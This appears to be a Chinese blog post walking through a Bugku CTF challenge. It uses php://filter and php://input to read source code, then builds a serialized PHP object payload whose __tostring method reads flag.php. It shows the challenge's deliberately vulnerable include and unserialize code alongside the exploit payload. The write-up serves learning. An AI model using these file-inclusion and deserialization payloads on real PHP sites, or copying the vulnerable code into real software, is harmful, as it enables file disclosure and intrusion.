php的filter input,记一个php://filter和php://input的CTF题

首先直接查看源码,可以获得题目中的提示

you are not the number of bugku !

通过审计源码知道需求如下:

需要通过GET方式传递三个参数

必须存在$user

读取的$user文件内容===welcome to the bugkuctf

$file要求为hint.php

关于php://input (官方说明)可以读取没有处理过的POST数据,相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data”

在这里可以利用这两个php的协议

首先先读取提示中的“hint.php”的源码

c70b7ab32015

图片.png

构造完整之后

c70b7ab32015

图片.png

然后进行base64解密,得到hint.php的源码如下:

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("good");

}

}

}

?>

同样的套路再用一遍获取index.php的源码

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

echo "hello friend!
";

if(preg_match("/flag/",$file)){

echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";

exit();

}else{

include($file);

$password = unserialize($password);

echo $password;

}

}else{

echo "you are not the number of bugku ! ";

}

?>

提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match

hint.php中定义了一个类Flag,注意到中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数

__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

在index.php源码中看到了$password的作用

将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring方法,只有echo,只能输出一个或多个字符串,所以构造password为Flag类型,

其中的string变量flie=flag.php。

还注意到

password=unserialize(password);

因此知道需要构造序列化对象payload为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

c70b7ab32015

图片.png

之后查看源码即可得到flag

例:O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”\00*\00file” 指的是有个属性,有7个字符,名为\00*\00file

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值